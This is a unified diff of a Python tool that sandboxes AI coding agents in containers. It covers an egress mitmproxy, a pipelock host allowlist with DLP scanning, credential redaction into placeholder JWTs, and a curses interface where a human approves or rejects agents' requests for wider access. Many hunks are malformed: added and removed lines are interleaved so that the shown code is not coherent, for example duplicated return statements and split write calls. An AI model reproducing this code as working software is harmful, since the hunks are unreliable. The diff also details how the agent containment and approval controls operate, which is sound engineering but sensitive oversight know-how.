+    provision runs, so an empty/missing path here means launch's
-    cert = egress_plan.mitmproxy_ca_cert_only_host_path
+    bringup is broken — fatal."""
-    if cert == Path() or not cert.is_file():
+    if egress_plan.routes:
        cert = egress_plan.mitmproxy_ca_cert_only_host_path
        if cert == Path() or not cert.is_file():
            die(
                f"egress CA cert missing at {cert or '(empty)'}; "
                f"launch must have called egress_tls_init and "
                f"re-bound the plan before provision"
            )
        return cert, "egress"
    cert = proxy_plan.ca_cert_host_path
    if not cert or not cert.is_file():
        die(
-            f"egress CA cert missing at {cert or '(empty)'}; "
+            f"pipelock CA cert missing at {cert or '(empty)'}; "
-            f"launch must have called egress_tls_init and "
+            f"launch must have called pipelock_tls_init and re-bound "
-            f"re-bound the plan before provision"
+            f"the plan before provision"
        )
-    return cert, "egress"
+    return cert, "pipelock"
 def log_ca_fingerprint(cert_host_path: Path, label: str) -> None:
@@ -41,18 +41,9 @@ def usage() -> None:
    sys.stderr.write("  info      print env, skills, and prompt details for a named agent\n")
    sys.stderr.write("  init      interactively create a new agent and add it to bot-bottle.json\n")
    sys.stderr.write("  list      list available agents or active containers\n")
-    sys.stderr.write(
+    sys.stderr.write("  resume    re-launch a bottle by its identity (continues state from PRD 0016)\n")
-        "  resume    re-launch a bottle by its identity "
+    sys.stderr.write("  start     boot a container for a named agent and attach an interactive session\n")
-        "(continues state from PRD 0016)\n"
+    sys.stderr.write("  supervise view + approve/modify/reject pending supervise proposals (PRD 0013)\n\n")
    )
    sys.stderr.write(
        "  start     boot a container for a named agent and "
        "attach an interactive session\n"
    )
    sys.stderr.write(
        "  supervise view + approve/modify/reject pending supervise "
        "proposals (PRD 0013)\n\n"
    )
    sys.stderr.write(f"Run '{PROG} <command> --help' for command-specific usage.\n")
@@ -14,7 +14,7 @@ REPO_DIR = str(Path(__file__).resolve().parent.parent.parent)
 def read_tty_line() -> str:
    """Mirror `IFS= read -r REPLY </dev/tty`. Falls back to stdin."""
    try:
-        with open("/dev/tty", "r", encoding="utf-8") as tty:
+        with open("/dev/tty", "r") as tty:
            return tty.readline().rstrip("\n")
    except OSError:
        return sys.stdin.readline().rstrip("\n")
@@ -51,8 +51,7 @@ def cmd_init(argv: list[str]) -> int:
            die(f"{target_file} exists but is not valid JSON; fix or remove it first")
        if agent_name in (existing.get("agents") or {}):
            sys.stderr.write(
-                f'bot-bottle: agent "{agent_name}" already exists in '
+                f'bot-bottle: agent "{agent_name}" already exists in {target_file}. Overwrite? [y/N] '
                f'{target_file}. Overwrite? [y/N] '
            )
            sys.stderr.flush()
            ow = read_tty_line()
@@ -72,10 +71,7 @@ def cmd_init(argv: list[str]) -> int:
    # Prompt
    print(file=sys.stderr)
-    info(
+    info("System prompt — enter text, then a lone '.' on its own line to finish (just '.' to leave empty):")
        "System prompt — enter text, then a lone '.' on its own line to "
        "finish (just '.' to leave empty):"
    )
    prompt_lines: list[str] = []
    while True:
        line = read_tty_line()
@@ -103,10 +99,7 @@ def cmd_init(argv: list[str]) -> int:
        if bottle_name in (existing.get("bottles") or {}):
            bottle_exists_already = True
-            info(
+            info(f"Bottle '{bottle_name}' already exists in {target_file}; agent will reference it.")
                f"Bottle '{bottle_name}' already exists in {target_file}; "
                f"agent will reference it."
            )
        else:
            info(f"Creating new bottle '{bottle_name}'.")
            bottle_env = _prompt_for_env_vars()
@@ -138,14 +131,8 @@ def cmd_init(argv: list[str]) -> int:
 def _prompt_for_env_vars() -> dict[str, str]:
    print(file=sys.stderr)
-    info(
+    info("Env vars — enter each var name then its mode. Press Enter with no name to finish.")
-        "Env vars — enter each var name then its mode. Press Enter with "
+    info("  Modes:  secret (prompt at runtime) | interpolated (read from host env) | literal (hardcoded value)")
        "no name to finish."
    )
    info(
        "  Modes:  secret (prompt at runtime) | interpolated (read from "
        "host env) | literal (hardcoded value)"
    )
    out: dict[str, str] = {}
    while True:
        print(file=sys.stderr)
@@ -33,7 +33,6 @@ from ..backend.docker.capability_apply import snapshot_transcript
 from ..log import info
 from ..manifest import Manifest
 from ._common import PROG, USER_CWD, read_tty_line
 from . import tui
 def cmd_start(argv: list[str]) -> int:
@@ -50,39 +49,15 @@ def cmd_start(argv: list[str]) -> int:
            "or 'docker'). Overrides the env var when set."
        ),
    )
-    parser.add_argument(
+    parser.add_argument("name", help="agent name defined in bot-bottle.json")
        "name",
        nargs="?",
        default=None,
        help="agent name defined in bot-bottle.json (omit to pick interactively)",
    )
    args = parser.parse_args(argv)
    dry_run = args.dry_run or os.environ.get("BOT_BOTTLE_DRY_RUN") == "1"
    manifest = Manifest.resolve(USER_CWD)
    agent_name: str | None = args.name
    if agent_name is None:
        agent_name = tui.filter_select(
            sorted(manifest.agents.keys()),
            title="Select agent",
        )
        if agent_name is None:
            return 0
    backend_name: str | None = args.backend
    if backend_name is None and "BOT_BOTTLE_BACKEND" not in os.environ:
        backend_name = tui.filter_select(
            list(known_backend_names()),
            title="Select backend",
        )
        if backend_name is None:
            return 0
    spec = BottleSpec(
        manifest=manifest,
-        agent_name=agent_name,
+        agent_name=args.name,
        copy_cwd=args.cwd,
        user_cwd=USER_CWD,
    )
@@ -90,7 +65,7 @@ def cmd_start(argv: list[str]) -> int:
        spec,
        dry_run=dry_run,
        remote_control=args.remote_control,
-        backend_name=backend_name,
+        backend_name=args.backend,
    )
@@ -3,7 +3,9 @@ act on them (approve / modify / reject).
 Curses-based TUI; modify-then-approve shells out to $EDITOR. The
 approval handlers wire to the per-tool remediation engines:
-PRD 0014 (egress) writes routes.yaml + SIGHUPs egress; PRD 0016
+PRD 0014 (egress, retargeted from cred-proxy in PRD 0017
 chunk 3) writes routes.yaml + SIGHUPs egress; PRD 0015
 (pipelock) writes the allowlist + restarts pipelock; PRD 0016
 (capability) rebuilds the bottle Dockerfile.
 """
@@ -27,6 +29,13 @@ from ..backend.docker.capability_apply import (
    apply_capability_change,
 )
 from ..backend.docker.egress_apply import EgressApplyError, add_route
 from ..backend.docker.pipelock_apply import (
    PipelockApplyError,
    apply_allowlist_change,
    fetch_current_allowlist,
    parse_allowlist_content,
    render_allowlist_content,
 )
 from ..log import Die, error, info
 from ..supervise import (
    COMPONENT_FOR_TOOL,
@@ -38,6 +47,7 @@ from ..supervise import (
    STATUS_REJECTED,
    TOOL_CAPABILITY_BLOCK,
    TOOL_EGRESS_BLOCK,
    TOOL_PIPELOCK_BLOCK,
    archive_proposal,
    list_pending_proposals,
    render_diff,
@@ -61,7 +71,7 @@ class QueuedProposal:
 # Errors any remediation engine may raise. Caught by the TUI key
 # handlers and surfaced in the status line so a failed apply keeps
 # the proposal pending rather than crashing curses.
-ApplyError = (EgressApplyError, CapabilityApplyError)
+ApplyError = (EgressApplyError, PipelockApplyError, CapabilityApplyError)
 def discover_pending() -> list[QueuedProposal]:
@@ -106,12 +116,33 @@ def _detail_lines(
    out.extend(("  " + line, 0) for line in p.justification.splitlines() or [""])
    out.extend([
        ("", 0),
-        ("proposed file:", 0),
+        (_proposed_payload_label(p.tool) + ":", 0),
    ])
    out.extend((line, 0) for line in p.proposed_file.splitlines() or [""])
    if p.tool == TOOL_PIPELOCK_BLOCK:
        host = _failed_url_host(p.proposed_file)
        if host:
            out.append(("", 0))
            out.append((host, green_attr))
    return out
 def _failed_url_host(url: str) -> str:
    """Best-effort hostname extraction from a pipelock-block proposal."""
    import urllib.parse
    try:
        return urllib.parse.urlsplit(url.strip()).hostname or ""
    except ValueError:
        return ""
 def _proposed_payload_label(tool: str) -> str:
    if tool == TOOL_PIPELOCK_BLOCK:
        return "failed URL"
    return "proposed file"
 def _suffix_for_tool(tool: str) -> str:
    if tool == TOOL_CAPABILITY_BLOCK:
        return ".dockerfile"
@@ -136,6 +167,10 @@ def approve(
        diff_before, diff_after = add_route(
            qp.proposal.bottle_slug, file_to_apply,
        )
    elif qp.proposal.tool == TOOL_PIPELOCK_BLOCK:
        diff_before, diff_after = _apply_pipelock_url(
            qp.proposal.bottle_slug, file_to_apply,
        )
    elif qp.proposal.tool == TOOL_CAPABILITY_BLOCK:
        _meta = read_metadata(qp.proposal.bottle_slug)
        if _meta is not None and not _meta.compose_project:
@@ -175,6 +210,23 @@ def reject(qp: QueuedProposal, *, reason: str) -> None:
    _write_audit(qp, action=STATUS_REJECTED, notes=reason, diff_before="", diff_after="")
 def _apply_pipelock_url(slug: str, failed_url: str) -> tuple[str, str]:
    """Merge a pipelock-block failed URL's host into the allowlist."""
    import urllib.parse
    parsed = urllib.parse.urlsplit(failed_url.strip())
    host = parsed.hostname or ""
    if not host:
        raise PipelockApplyError(
            f"proposed failed_url has no extractable host: {failed_url!r}"
        )
    current = fetch_current_allowlist(slug)
    hosts = parse_allowlist_content(current)
    if host not in hosts:
        hosts.append(host)
    return apply_allowlist_change(slug, render_allowlist_content(hosts))
 def _write_audit(
    qp: QueuedProposal,
    *,
@@ -183,7 +235,7 @@ def _write_audit(
    diff_before: str,
    diff_after: str,
 ) -> None:
-    """Audit log for egress tool."""
+    """Audit log for egress / pipelock tools."""
    component = COMPONENT_FOR_TOOL.get(qp.proposal.tool)
    if component is None:
        return
@@ -211,7 +263,7 @@ def edit_in_editor(content: str, *, suffix: str = ".tmp") -> str | None:
        path = f.name
    try:
        subprocess.run([editor, path], check=False)
-        with open(path, encoding="utf-8") as f:
+        with open(path) as f:
            edited = f.read()
        return edited if edited != content else None
    finally:
@@ -244,7 +296,7 @@ def cmd_supervise(argv: list[str]) -> int:
        else:
            error("supervise exited on a fatal error (no detail captured).")
        return e.code if isinstance(e.code, int) else 1
-    except Exception as e:  # noqa: W0718 — catch supervise crash for logging
+    except Exception as e:
        log_path = _write_crash_log(e)
        error(f"supervise crashed: {type(e).__name__}: {e}")
        error(f"full traceback written to {log_path}")
@@ -302,7 +354,7 @@ def _try_init_green() -> int:
        return 0
-def _main_loop(stdscr: "curses._CursesWindow") -> None:  # type: ignore
+def _main_loop(stdscr: "curses._CursesWindow") -> None:
    curses.curs_set(0)
    stdscr.timeout(_REFRESH_INTERVAL_MS)
    green_attr = _try_init_green()
@@ -382,12 +434,12 @@ def _main_loop(stdscr: "curses._CursesWindow") -> None:  # type: ignore
 def _render(
-    stdscr: "curses._CursesWindow",  # type: ignore
+    stdscr: "curses._CursesWindow",
    pending: list[QueuedProposal],
    selected: int,
    status_line: str,
    *,
-    green_attr: int = 0,  # noqa: F841 — unused, but required by interface
+    green_attr: int = 0,
 ) -> None:
    stdscr.erase()
    h, w = stdscr.getmaxyx()
@@ -415,7 +467,8 @@ def _render(
            cursor = "> " if i == selected else "  "
            line = (
                f"{cursor}{ts_short}  "
-                f"[{p.bottle_slug}]  {p.tool:<18}  {p.id[:8]}"
+                f"[{p.bottle_slug}]  {p.tool:<18}  {p.id[:8]}  "
                f"{_proposed_payload_label(p.tool)}"
            )
            attr = curses.A_REVERSE if i == selected else curses.A_NORMAL
            stdscr.addnstr(row, 0, line, w - 1, attr)
@@ -435,7 +488,7 @@ def _render(
 def _detail_view(
-    stdscr: "curses._CursesWindow",  # type: ignore
+    stdscr: "curses._CursesWindow",
    qp: QueuedProposal,
    *,
    green_attr: int = 0,
@@ -486,7 +539,7 @@ def _detail_view(
            return
-def _modify(stdscr: "curses._CursesWindow", qp: QueuedProposal) -> str | None:  # type: ignore
+def _modify(stdscr: "curses._CursesWindow", qp: QueuedProposal) -> str | None:
    """Suspend curses, open $EDITOR on the proposed file, return edited content."""
    suffix = _suffix_for_tool(qp.proposal.tool)
    curses.endwin()
@@ -497,7 +550,7 @@ def _modify(stdscr: "curses._CursesWindow", qp: QueuedProposal) -> str | None:
    return edited
-def _prompt(stdscr: "curses._CursesWindow", label: str) -> str:  # type: ignore
+def _prompt(stdscr: "curses._CursesWindow", label: str) -> str:
    """One-line input at the bottom of the screen."""
    curses.curs_set(1)
    h, _ = stdscr.getmaxyx()
@@ -1,220 +0,0 @@
 """tui.py — minimal curses filter-select picker for CLI prompts.
 Exposed surface:
  filter_select(items, *, title="", tty_path="/dev/tty") -> str | None
 Opens /dev/tty directly so the picker works even when stdout/stdin are
 redirected.  Returns the selected item or None on cancel.
 """
 from __future__ import annotations
 import curses
 import os
 import sys
 from typing import Any, Optional
 def filter_select(
    items: list[str],
    *,
    title: str = "",
    tty_path: str = "/dev/tty",
 ) -> Optional[str]:
    """Render a filter-select picker over *items*.
    Returns the selected item string, or ``None`` if the user cancelled
    (Esc / ``q`` / Ctrl-C / Ctrl-D) or if the terminal is too small.
    The picker opens *tty_path* directly so it works even when
    stdout/stdin are redirected.
    """
    if not items:
        return None
    try:
        tty_fd = open(tty_path, "r+b", buffering=0)
    except OSError:
        return None
    try:
        # Use os.dup() to duplicate the fd so the original file object
        # and FileIO in _run_picker each manage independent copies,
        # preventing double-close errors.
        fd_dup = os.dup(tty_fd.fileno())
        return _run_picker(items, title=title, tty_fd=fd_dup)
    finally:
        tty_fd.close()
 # ---------------------------------------------------------------------------
 # Internal implementation
 # ---------------------------------------------------------------------------
 _KEY_ESC = 27
 _KEY_CTRL_C = 3
 _KEY_CTRL_D = 4
 _KEY_BACKSPACE_WIN = 8
 _KEY_ENTER_ALT = 10
 _CANCEL_KEYS = frozenset([_KEY_ESC, _KEY_CTRL_C, _KEY_CTRL_D, ord("q")])
 def _run_picker(items: list[str], *, title: str, tty_fd: int) -> Optional[str]:
    """Drive a curses session on *tty_fd* and return the picked item."""
    # newterm lets us run curses on an arbitrary fd rather than the
    # process's controlling tty / stdout — crucial when stdout is piped.
    os.environ.setdefault("TERM", "xterm-256color")
    # Save / restore the real stdin/stdout so curses newterm can use tty_fd.
    orig_stdin = sys.__stdin__
    orig_stdout = sys.__stdout__
    try:
        import io
        tty_text = io.TextIOWrapper(io.FileIO(tty_fd, mode='r+'), write_through=True)
        sys.__stdin__ = tty_text   # type: ignore[assignment]
        sys.__stdout__ = tty_text  # type: ignore[assignment]
        # curses.wrapper calls initscr which honours sys.__stdin__ / __stdout__
        # on some builds; use newterm where available.
        screen = curses.initscr()
        curses.noecho()
        curses.cbreak()
        screen.keypad(True)
        try:
            result = _picker_loop(screen, items, title=title)
        finally:
            screen.keypad(False)
            curses.nocbreak()
            curses.echo()
            curses.endwin()
    except Exception:  # noqa: W0718 — curses can raise many error types
        return None
    finally:
        sys.__stdin__ = orig_stdin    # type: ignore[assignment]
        sys.__stdout__ = orig_stdout  # type: ignore[assignment]
    return result
 def _picker_loop(screen: Any, items: list[str], *, title: str) -> Optional[str]:
    query = ""
    cursor = 0
    while True:
        filtered = _filter_items(items, query)
        # Clamp cursor into the visible list.
        if not filtered:
            cursor = 0
        elif cursor >= len(filtered):
            cursor = len(filtered) - 1
        try:
            _render(screen, filtered, cursor, query=query, title=title)
        except curses.error:
            # Terminal too small or write error — bail out.
            return None
        try:
            key = screen.getch()
        except KeyboardInterrupt:
            return None
        if key in _CANCEL_KEYS:
            return None
        if key in (curses.KEY_ENTER, _KEY_ENTER_ALT, ord("\r")):
            return filtered[cursor] if filtered else None
        if key in (curses.KEY_UP, ord("k")):
            if cursor > 0:
                cursor -= 1
        elif key in (curses.KEY_DOWN, ord("j")):
            if cursor < len(filtered) - 1:
                cursor += 1
        elif key in (curses.KEY_BACKSPACE, _KEY_BACKSPACE_WIN, 127):
            query = query[:-1]
            # After narrowing the filter, keep cursor in range.
            new_filtered = _filter_items(items, query)
            if cursor >= len(new_filtered):
                cursor = max(0, len(new_filtered) - 1)
        elif 32 <= key <= 126:
            # Printable ASCII — append to query and reset cursor so the
            # top of the newly-filtered list is selected.
            query += chr(key)
            cursor = 0
 def _filter_items(items: list[str], query: str) -> list[str]:
    if not query:
        return list(items)
    q = query.lower()
    return [i for i in items if q in i.lower()]
 def _render(screen: Any, filtered: list[str], cursor: int, *, query: str, title: str) -> None:
    screen.erase()
    rows, cols = screen.getmaxyx()
    min_rows = 5
    if rows < min_rows:
        raise curses.error("terminal too small")
    row = 0
    if title and row < rows - 1:
        _addstr_safe(screen, row, 0, title[:cols - 1], curses.A_BOLD)
        row += 1
    filter_label = f"Filter: {query}"
    if row < rows - 1:
        _addstr_safe(screen, row, 0, filter_label[:cols - 1])
        row += 1
    sep = "─" * min(cols - 1, 40)
    if row < rows - 1:
        _addstr_safe(screen, row, 0, sep)
        row += 1
    list_start = row
    # Reserve two rows for separator + help line at bottom.
    list_rows = rows - list_start - 2
    if list_rows < 1:
        return
    # Scroll window: keep cursor visible.
    scroll = max(0, cursor - list_rows + 1)
    visible = filtered[scroll: scroll + list_rows]
    for idx, item in enumerate(visible):
        abs_idx = scroll + idx
        attr = curses.A_REVERSE if abs_idx == cursor else curses.A_NORMAL
        prefix = "> " if abs_idx == cursor else "  "
        line = (prefix + item)[:cols - 1]
        if row < rows - 1:
            _addstr_safe(screen, row, 0, line, attr)
        row += 1
    if row < rows - 1:
        _addstr_safe(screen, row, 0, sep)
        row += 1
    help_line = "[↑↓/jk] move  [Enter] select  [Esc/q] cancel"
    if row < rows:
        _addstr_safe(screen, min(rows - 1, row), 0, help_line[:cols - 1])
    screen.refresh()
 def _addstr_safe(screen: Any, row: int, col: int, text: str, attr: int = curses.A_NORMAL) -> None:
    try:
        screen.addstr(row, col, text, attr)
    except curses.error:
        pass
@@ -13,7 +13,6 @@ import os
 from copy import deepcopy
 from datetime import datetime, timezone
 from pathlib import Path
 from typing import cast
 from .log import die
 from .util import expand_tilde
@@ -51,8 +50,7 @@ def codex_host_access_token(
    tokens = raw.get("tokens")
    if not isinstance(tokens, dict):
        die(f"codex host credentials: {path} is missing tokens")
-    tokens_typed = cast(dict[str, object], tokens)
+    access = tokens.get("access_token")
    access = tokens_typed.get("access_token")
    if not isinstance(access, str) or not access:
        die(
            f"codex host credentials: {path} is missing tokens.access_token. "
@@ -107,14 +105,14 @@ def write_codex_dummy_auth_file(
    path.chmod(0o600)
-def _read_auth_object(path: Path) -> dict[str, object]:
+def _read_auth_object(path: Path) -> dict:
    try:
        raw = json.loads(path.read_text())
    except (OSError, json.JSONDecodeError) as e:
        die(f"codex host credentials: could not read valid JSON at {path}: {e}")
    if not isinstance(raw, dict):
        die(f"codex host credentials: {path} must contain a JSON object")
-    return cast(dict[str, object], raw)
+    return raw
 def _dummy_exp(now: datetime | None, exp_ts: int | None) -> int:
@@ -153,11 +151,11 @@ def _dummy_jwt_from_host(
        return _dummy_jwt(now, exp_ts=exp_ts)
    if not isinstance(payload, dict):
        return _dummy_jwt(now, exp_ts=exp_ts)
-    return _encode_dummy_jwt(_redact_jwt_payload(cast(dict[str, object], payload), now=now, exp_ts=exp_ts))
+    return _encode_dummy_jwt(_redact_jwt_payload(payload, now=now, exp_ts=exp_ts))
-def _encode_dummy_jwt(payload: dict[str, object]) -> str:
+def _encode_dummy_jwt(payload: dict) -> str:
-    def enc(obj: dict[str, object]) -> str:
+    def enc(obj: dict) -> str:
        raw = json.dumps(obj, separators=(",", ":")).encode()
        return base64.urlsafe_b64encode(raw).decode().rstrip("=")
@@ -165,24 +163,23 @@ def _encode_dummy_jwt(payload: dict[str, object]) -> str:
 def _redact_jwt_payload(
-    payload: dict[str, object],
+    payload: dict,
    *,
    now: datetime | None = None,
    exp_ts: int | None = None,
-) -> dict[str, object]:
+) -> dict:
    out = _redact_claims(payload)
    if not isinstance(out, dict):
        out = {}
-    out_typed: dict[str, object] = cast(dict[str, object], out)
+    out["exp"] = _dummy_exp(now, exp_ts)
-    out_typed["exp"] = _dummy_exp(now, exp_ts)
+    out.setdefault("sub", "bot-bottle-placeholder")
-    out_typed.setdefault("sub", "bot-bottle-placeholder")
+    return out
    return out_typed
 def _redact_claims(value: object) -> object:
    if isinstance(value, dict):
        out: dict[str, object] = {}
-        for key, inner in cast(dict[str, object], value).items():
+        for key, inner in value.items():
            lower = key.lower()
            if key == "https://api.openai.com/profile":
                out[key] = _redact_profile_claim(inner)
@@ -210,16 +207,16 @@ def _redact_claims(value: object) -> object:
    return "bot-bottle-placeholder"
-def _redact_profile_claim(value: object) -> dict[str, object]:
+def _redact_profile_claim(value: object) -> dict:
-    profile = cast(dict[str, object], value) if isinstance(value, dict) else {}
+    profile = value if isinstance(value, dict) else {}
    return {
        "email": "bot-bottle@example.invalid",
        "email_verified": bool(profile.get("email_verified", True)),
    }
-def _redact_auth_claim(value: object) -> dict[str, object]:
+def _redact_auth_claim(value: object) -> dict:
-    auth = cast(dict[str, object], value) if isinstance(value, dict) else {}
+    auth = value if isinstance(value, dict) else {}
    out: dict[str, object] = {}
    for key, inner in auth.items():
        lower = key.lower()
@@ -250,7 +247,7 @@ def _redact_auth_claim(value: object) -> dict[str, object]:
 def _redact_codex_auth(
    value: object, *, now: datetime | None = None, exp_ts: int | None = None,
 ) -> object:
-    auth = cast(dict[str, object], value) if isinstance(value, dict) else {}
+    auth = value if isinstance(value, dict) else {}
    out: dict[str, object] = {}
    for key, inner in auth.items():
        lower = key.lower()
@@ -272,7 +269,7 @@ def _redact_codex_auth(
 def _redact_token_block(
    value: object, *, now: datetime | None = None, exp_ts: int | None = None,
 ) -> dict[str, object]:
-    tokens = cast(dict[str, object], value) if isinstance(value, dict) else {}
+    tokens = value if isinstance(value, dict) else {}
    out: dict[str, object] = {}
    for key, inner in tokens.items():
        lower = key.lower()
@@ -309,7 +306,7 @@ def _jwt_exp(token: str) -> datetime | None:
        return None
    if not isinstance(payload, dict):
        return None
-    exp = cast(dict[str, object], payload).get("exp")
+    exp = payload.get("exp")
    if not isinstance(exp, (int, float)):
        return None
    return datetime.fromtimestamp(exp, timezone.utc)
@@ -94,6 +94,7 @@ class ClaudeAgentProvider(AgentProvider):
            host="api.anthropic.com",
            auth_scheme="Bearer" if auth_token else "",
            token_ref=auth_token,
            tls_passthrough=True,
        ),)
        hidden_env_names: frozenset[str] = frozenset()
        if auth_token:
@@ -143,7 +144,7 @@ class ClaudeAgentProvider(AgentProvider):
        prompt (drives `--append-system-prompt-file`); the file is
        copied either way so the path always exists."""
        prompt_path = _prompt_path(plan.guest_home)
-        bottle.cp_in(str(plan.prompt_file), prompt_path)  # type: ignore
+        bottle.cp_in(str(plan.prompt_file), prompt_path)
        bottle.exec(
            f"chown node:node {prompt_path} && chmod 600 {prompt_path}",
            user="root",
@@ -110,6 +110,7 @@ class CodexAgentProvider(AgentProvider):
                host=host,
                auth_scheme="Bearer" if forward_host_credentials else "",
                token_ref=CODEX_HOST_CREDENTIAL_TOKEN_REF if forward_host_credentials else "",
                tls_passthrough=True,
            ))
        if forward_host_credentials:
@@ -188,7 +189,7 @@ class CodexAgentProvider(AgentProvider):
        instructions in <path>.` bootstrap (see `prompt_args`); the
        file is copied either way so the path always exists."""
        prompt_path = _prompt_path(plan.guest_home)
-        bottle.cp_in(str(plan.prompt_file), prompt_path)  # type: ignore
+        bottle.cp_in(str(plan.prompt_file), prompt_path)
        bottle.exec(
            f"chown node:node {prompt_path} && chmod 600 {prompt_path}",
            user="root",
@@ -117,5 +117,5 @@ def _split_owner_repo(owner_repo: str) -> tuple[str, str]:
 def _read_error_body(exc: urllib.error.HTTPError) -> str:
    try:
        return exc.read().decode("utf-8", errors="replace")
-    except Exception:  # noqa: broad-exception-caught — safely fallback to empty error message
+    except Exception:
        return ""
@@ -4,7 +4,8 @@ Replaces the cred-proxy sidecar (PRD 0010) with a mitmproxy-based
 sidecar that becomes the agent's `HTTP_PROXY` / `HTTPS_PROXY`. It
 owns three jobs:
-  1. MITM the agent's HTTPS with the per-bottle CA.
+  1. MITM the agent's HTTPS with the per-bottle CA (moved from
     pipelock).
  2. Enforce manifest-declared `path_allowlist` per route.
  3. Inject `Authorization` headers for routes that declare an
     `auth` block, the same way cred-proxy does today.
@@ -24,7 +25,7 @@ flow (PRD 0014) at egress and renames the MCP tool.
 from __future__ import annotations
 import dataclasses
-from abc import ABC
+from abc import ABC, abstractmethod
 from dataclasses import dataclass
 from pathlib import Path
 from typing import TYPE_CHECKING
@@ -47,8 +48,9 @@ EGRESS_HOSTNAME = "egress"
 # In-container path the addon reads. Pre-created in
 # `Dockerfile.sidecars` so the host bind-mount can drop the file
-# directly. Content is YAML (hand-rolled by `egress_render_routes`,
+# directly. Content is YAML (hand-rolled by `egress_render_routes`
-# parsed by `yaml_subset` inside the addon).
+# in the style of `pipelock_render_yaml`, parsed by `yaml_subset`
 # inside the addon).
 EGRESS_ROUTES_IN_CONTAINER = "/etc/egress/routes.yaml"
@@ -68,11 +70,15 @@ class EgressRoute(Route):
    `roles` carries the manifest route's role tuple (reserved for
    future use; always empty today).
-    `roles` carries the manifest route's role tuple (reserved for
+    `tls_passthrough` signals that pipelock must not TLS-MITM this
-    future use; always empty today)."""
+    host — either because the manifest declared `pipelock.tls_passthrough:
    true` (lifted in `egress_manifest_routes`) or because a provider
    route set it (e.g. egress injects its own Bearer on that host
    after the agent boundary and pipelock's header DLP would block it)."""
    token_ref: str = ""
    roles: tuple[str, ...] = ()
    tls_passthrough: bool = False
@dataclass(frozen=True)
@@ -81,10 +87,10 @@ class EgressPlan:
    The slug + routes_path + routes + token_env_map fields are
    filled at prepare time (host-side, side-effect-free on docker).
-    The network + CA fields are populated by the backend's launch step
+    The network + CA + pipelock fields are populated by the backend's
-    via `dataclasses.replace` once those resources exist. Empty defaults
+    launch step via `dataclasses.replace` once those resources
-    are sentinels meaning "not yet set"; `.start` validates that they are
+    exist. Empty defaults are sentinels meaning "not yet set";
-    populated.
+    `.start` validates that they are populated.
    `token_env_map` is `{<token_env in container>: <token_ref on host>}`.
    The backend's start step reads `os.environ[token_ref]` and
@@ -102,6 +108,16 @@ class EgressPlan:
    key) for installing into the agent's trust store via
    `provision_ca`. Separate file rather than re-parsing the
    concat so secrets and trust artefacts stay on distinct paths.
    `pipelock_ca_host_path` is the host path of the pipelock CA
    (cert only). `.start` docker-cps it into the sidecar so the
    proxy's outbound HTTPS client trusts pipelock's MITM on the
    egress → upstream leg.
    `pipelock_proxy_url` is the URL egress sets as `HTTPS_PROXY`
    in its environ so outbound HTTPS traverses pipelock — keeping
    pipelock's hostname allowlist + DLP body scanner on the
    egress → upstream leg.
    """
    slug: str
@@ -112,6 +128,8 @@ class EgressPlan:
    egress_network: str = ""
    mitmproxy_ca_host_path: Path = Path()
    mitmproxy_ca_cert_only_host_path: Path = Path()
    pipelock_ca_host_path: Path = Path()
    pipelock_proxy_url: str = ""
 def egress_manifest_routes(
@@ -129,6 +147,7 @@ def egress_manifest_routes(
            auth_scheme=r.AuthScheme,
            token_ref=r.TokenRef,
            roles=r.Role,
            tls_passthrough=r.Pipelock.TlsPassthrough,
        ))
    return tuple(out)
@@ -197,14 +216,14 @@ def egress_token_env_map(
    return out
-def _route_to_yaml_fields(r: Route) -> dict[str, object]:
+def _route_to_yaml_fields(r: Route) -> dict:
    """Return the addon-visible fields for one route.
    Single authoritative mapping between EgressRoute (host-side) and
    egress_addon_core.Route (sidecar-side). When a field is added to
    the addon's Route that must appear in the YAML, add it here and
    in egress_addon_core._parse_one together."""
-    fields: dict[str, object] = {"host": r.host}
+    fields: dict = {"host": r.host}
    if r.auth_scheme and r.token_env:
        fields["auth_scheme"] = r.auth_scheme
        fields["token_env"] = r.token_env
@@ -233,7 +252,7 @@ def egress_render_routes(
            lines.append(f'    token_env: "{f["token_env"]}"')
        if "path_allowlist" in f:
            lines.append("    path_allowlist:")
-            for p in f["path_allowlist"]:  # type: ignore
+            for p in f["path_allowlist"]:
                lines.append(f'      - "{p}"')
    return "\n".join(lines) + "\n"
@@ -287,7 +306,7 @@ class Egress(ABC):
        forward values from the host's environ into the sidecar's environ.
        Returned plan is incomplete: the launch step must fill
-        `internal_network` / `egress_network`
+        `internal_network` / `egress_network` / `pipelock_proxy_url`
        via `dataclasses.replace` before passing it to `.start`."""
        routes = egress_routes_for_bottle(bottle, provider_routes)
        routes_path = stage_dir / "egress_routes.yaml"
@@ -38,12 +38,7 @@ from mitmproxy import http  # type: ignore[import-not-found]
 # Absolute import (NOT `from .egress_addon_core`) — the
 # container drops both files flat into /app/ so they are sibling
 # top-level modules to mitmdump's loader, not a package.
-from egress_addon_core import (  # type: ignore[import-not-found]
+from egress_addon_core import Route, decide, is_git_push_request, load_routes  # type: ignore[import-not-found]
    Route,
    decide,
    is_git_push_request,
    load_routes,
 )
 DEFAULT_ROUTES_PATH = "/etc/egress/routes.yaml"
@@ -78,13 +78,11 @@ def parse_routes(payload: object) -> tuple[Route, ...]:
    """
    if not isinstance(payload, dict):
        raise ValueError("routes payload: top-level must be an object")
-    payload_dict: dict[str, object] = typing.cast(dict[str, object], payload)
+    raw = payload.get("routes")
    raw: object = payload_dict.get("routes")
    if not isinstance(raw, list):
        raise ValueError("routes payload: 'routes' must be a list")
    raw_list: list[object] = typing.cast(list[object], raw)
    out: list[Route] = []
-    for i, r in enumerate(raw_list):
+    for i, r in enumerate(raw):
        out.append(_parse_one(i, r))
    return tuple(out)
@@ -93,17 +91,15 @@ def _parse_one(idx: int, raw: object) -> Route:
    label = f"route[{idx}]"
    if not isinstance(raw, dict):
        raise ValueError(f"{label}: must be an object (got {type(raw).__name__})")
-    raw_dict: dict[str, object] = typing.cast(dict[str, object], raw)
+    host = raw.get("host")
    host: object = raw_dict.get("host")
    if not isinstance(host, str) or not host:
        raise ValueError(f"{label}: 'host' must be a non-empty string")
-    path_allow_raw: object = raw_dict.get("path_allowlist", [])
+    path_allow_raw = raw.get("path_allowlist", [])
    if not isinstance(path_allow_raw, list):
        raise ValueError(f"{label} ({host}): 'path_allowlist' must be a list")
    path_allow_list: list[object] = typing.cast(list[object], path_allow_raw)
    prefixes: list[str] = []
-    for j, p in enumerate(path_allow_list):
+    for j, p in enumerate(path_allow_raw):
        if not isinstance(p, str):
            raise ValueError(
                f"{label} ({host}): path_allowlist[{j}] must be a string"
@@ -115,8 +111,8 @@ def _parse_one(idx: int, raw: object) -> Route:
            )
